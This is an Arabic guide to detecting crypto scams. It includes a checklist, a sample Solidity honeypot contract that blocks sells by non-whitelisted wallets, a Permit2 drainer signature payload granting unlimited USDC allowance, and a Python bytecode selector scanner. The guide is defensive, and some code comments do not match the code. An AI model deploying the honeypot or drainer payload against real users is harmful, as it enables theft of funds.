كيف تكتشف الاحتيال وRug Pull في الكريبتو قبل فوات الأوان

1. مقارنة سريعة: Honeypot ضد Rug Pull ضد Wallet Drainer

2. قائمة تحقق أمنية خطوة بخطوة قبل شراء أي توكن

الخطوة 1: الفحص الأوتوماتيكي للعقد

مرر عنوان التوكن على Token Sniffer وGoPlus Security API وDEXScreener. إذا شفت DEXScreener يعرض 800 عملية شراء وصفر عمليات بيع على مدار 4 ساعات، اوقف مكانك. هذا Honeypot صريح. نقطة.

الخطوة 2: مدة قفل السيولة

الفريق الموثوق يقفل توكنات مجمع السيولة (LP) عبر بروتوكولات مثل Uncx Network أو PinkSale.

• Red Flag: السيولة غير مقفولة، أو محفوظة في حساب عادي (EOA)، أو مقفولة لأقل من 6 شهور.
• Green Flag: توكنات الـ LP محروقة (مبعوثة لـ 0x000000000000000000000000000000000000dead) أو مقفولة في عقد موثق لمدة سنة على الأقل.

الخطوة 3: فحص التوزيع والملكية (Ownership)

افحص تبويب المالكين (Holders) على Etherscan أو BscScan.

إذا كانت مجموعة بسيطة من المحافظ (مش منصات ولا محافظ حرق) تتحكم في أكثر من 5-10% من المعروض الإجمالي، فأنت للأسف الـ exit liquidity حقهم. كمان تأكد إذا تم التخلي عن ملكية العقد (renounced). إذا ما تم التخلي، المالك يقدر يغير الضرائب بمزاجه، أو يحط عنوانك في القائمة السوداء (blacklist)، أو يوقف التحويلات متى ما بغى.

الخطوة 4: التدقيق في المعاملات والتواقيع

إياك توقع على المعاملات بشكل أعمى (blind-sign). الـ wallet drainers الحديثة نادراً ما تطلب تحويلات ETH مباشرة—صارت تستغل التواقيع الخارجية (off-chain) مثل EIP-712 أو Permit2 أو EIP-2612 لتتخطى تحذيرات المحفظة التقليدية. استخدم إضافات المحاكاة الديناميكية للمعاملات عشان تفحص تغييرات الحالة (state changes) قبل البث.

3. تحليل أمني تعمقي وميكانيكية الكود

خلونا نتكلم عن الميكانيكيات التقنية الحقيقية. ليش أدوات التحليل الاستاتيكي التقليدية (static analyzers) تفوّت الاحتيالات المتقدمة؟ لأن النصابين يكتبون منطق برمجي يتفاعل مع السياق (context-aware logic).

لحظة... ليش الناس للحين تعتقد إن توثيق الكود على Etherscan يضمن الأمان؟ أسأل نفسي هذا السؤال كل ما أسمع أحد يشتكي إنه خسر فلوسه في مشروع "موثق". توثيق السورس كود مجرد إثبات إن الـ EVM bytecode المرفوع يطابق ملفات Solidity المرفوعة. وما يعني أي شيء عن إذا كان المنطق البرمجي داخل الملفات أخلاقي أو خبيث!

خدعة الـ Honeypot: الـ Gas-Griefing والضرائب الديناميكية

تقنية شائعة في الـ honeypot تتضمن وضع رسوم قياسية 2% وقت الإطلاق، وبعدين يرفعون الرسوم إلى 99% داخل دالة _transfer() بمجرد ما تدخل سيولة كافية.

والأسوأ من كذا هي عقود الـ honeypot الديناميكية القائمة على استهلاك الغاز (gas-griefing):

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
/*
 * نسختي الخاصة المفتوحة عن طريق الهندسة العكسية لمنطق honeypot قفشته في الميدان.
 * لا تنشر هذا الكود. هذا للتحليل التعليمي فقط.
 */
contract SneakyHoneypot {
    address private _owner;
    mapping(address => bool) private _isWhitelisted;
    mapping(address => uint256) private _balances;
    constructor() {
        _owner = msg.sender;
        _isWhitelisted[msg.sender] = true;
    }
    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }
    function _transfer(address from, address to, uint256 amount) internal {
        require(_balances[from] >= amount, "ERC20: balance too low");
        // إذا كان أمر بيع (تحويل لعنوان الـ pair) والراسل مش في القائمة البيضاء
        if (!_isWhitelisted[from] && !_isWhitelisted[to]) {
            // خدعة: حرق كميات هائلة من الغاز عبر loop لا نهائي أو تخصيص ذاكرة ثقيل
            // مما يخلي معاملة المشتري تفشل بـ خطأ "Out of Gas"!
            assembly {
                let m := mload(0x40)
                mstore(m, 0xdeadbeef)
                // حرق الغاز بشكل اصطناعي عند محاولات البيع
                invalid()
            }
        }
        _balances[from] -= amount;
        _balances[to] += amount;
    }
}

لاحظت شو يصير هنا؟ لما تشتري، كل شيء ينجح. بس أول ما تسوي استدعاء swapExactTokensForETH على Uniswap، العقد يفحص إذا محفظتك في القائمة البيضاء (whitelist). إذا لا، ينفذ أمر invalid() أو يدخل في loop لا نهائي، فيستهلك كل الغاز المخصص ويرجع المعاملة بـ خطأ مبهم. أغلب المستخدمين العاديين يفترضون إن "السليبيج (Slippage) قليل" ويسحبون على الموضوع، بينما المطور قاعد يسحب البول على مهله.

4. كيف تتخطى الـ Wallet Drainers دفاعات الـ Web3

خلونا نناقش استغلال التواقيع الخارجية (off-chain signatures)—وبالأخص إساءة استخدام Permit2 وEIP-712.

الصلاحيات التقليدية (allowances) تتطلب منك إرسال معاملة on-chain تستدعي approve(spender, amount). وهذا يكلف غاز ويطلع لك نافذة pop-up واضحة في المحفظة تحذرك من الصلاحية.

سكريبتات الـ Drainer تتخطى هذا الشيء باستخدام معيار Permit2 من Uniswap أو تواقيع EIP-2612. تطبيق dApp الخبيث يطلب منك توقيع نص بيانات يبدو غير ضار باستخدام توقيع محفظتك (eth_signTypedData_v4). ولكن خلف الكواليس، هذا التوقيع الرقمي يعطي العقد الذكي للمهاجم تصريح صريح لتحويل توكنات الـ ERC-20 أو الـ NFTs من حسابك بدون ما يطلب منك أي تأكيد ثاني on-chain!

// عينة payload خبيث تم بناؤه بواسطة سكريبتات الـ drainer
const domain = {
    name: 'Permit2',
    chainId: 1, // Mainnet
    verifyingContract: '0x000000000022D473030F116dDEE9F6B43aC78BA3' // العنوان الرسمي لـ Uniswap Permit2
};
const types = {
    PermitSingle: [
        { name: 'details', type: 'PermitDetails' },
        { name: 'spender', type: 'address' },
        { name: 'sigDeadline', type: 'uint256' }
    ],
    PermitDetails: [
        { name: 'token', type: 'address' },
        { name: 'amount', type: 'uint160' },
        { name: 'expiration', type: 'uint48' },
        { name: 'nonce', type: 'uint48' }
    ]
};
// المستخدم يعتقد أنه يسجل دخول لموقع، ولكنه في الحقيقة يوقع على منح أرصدة التوكن بالكامل:
const value = {
    details: {
        token: "0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48", // USDC
        amount: "1461501637330902918203684832716283019655932542975", // القيمة القصوى لـ uint160
        expiration: 2000000000,
        nonce: 0
    },
    spender: "0xMaliciousAttackerContractAddressHere...",
    sigDeadline: 2000000000
};

إذا وقّعت على هذا الـ payload، المهاجم بياخذ هذا التوقيع الـ off-chain، ويقدمه لعقد Permit2 بنفسه، ويدفع رسوم الغاز، ويسرق الـ USDC حقك في لحظة.

0x40c10f19 -> mint(address,uint256)
0xbf8b0f72 -> enableTrading() / setTradingStatus(bool)
0x0283c741 -> setFee(uint256)
0xe47d6060 -> setBlacklist(address,bool)

# سكربت أداة أمنية داخلية لاكتشاف توقيعات الدوال عالية الخطورة في بايت كود EVM غير الموثق.
# مصمم للفحوصات الآلية السريعة أثناء تحقيقات العقود الذكية.
from web3 import Web3
# الاتصال بعقدة RPC عامة
w3 = Web3(Web3.HTTPProvider('https://eth.llamarpc.com'))
# محددات الدوال المعروفة عالية الخطورة بطول 4 بايت (هاشات Keccak-256)
DANGEROUS_SELECTORS = {
    "0x40c10f19": "mint(address,uint256)",
    "0xe47d6060": "setBlacklist(address,bool)",
    "0x8a8c523c": "preventSell(address)",
    "0x70480932": "pauseTrading()"
}
def analyze_bytecode(contract_address: str):
    # جلب البايت كود الخام من البلوكشين
    code = w3.eth.get_code(Web3.to_checksum_address(contract_address)).hex()
    
    if code == '0x' or len(code) <= 2:
        print("[-] العنوان ما فيه أي كود عقد منشور (EOA).")
        return
    print(f"[+] جاري تحليل بايت كود EVM للعنوان: {contract_address}")
    
    found_flags = []
    for selector, func_name in DANGEROUS_SELECTORS.items():
        # إزالة بادئة '0x' للمطابقة في نص الـ Hex الخام
        clean_selector = selector[2:]
        if clean_selector in code:
            found_flags.append(func_name)
    if found_flags:
        print("[!] تحذير علم أحمر! تم اكتشاف دوال خطيرة في البايت كود:")
        for flag in found_flags:
            print(f"    - {flag}")
    else:
        print("[+] الفحص القياسي ما اكتشف أي محددات إدارية مخفية أساسية.")
# مثال على الاستخدام مع عنوان عشوائي
# analyze_bytecode("0x...")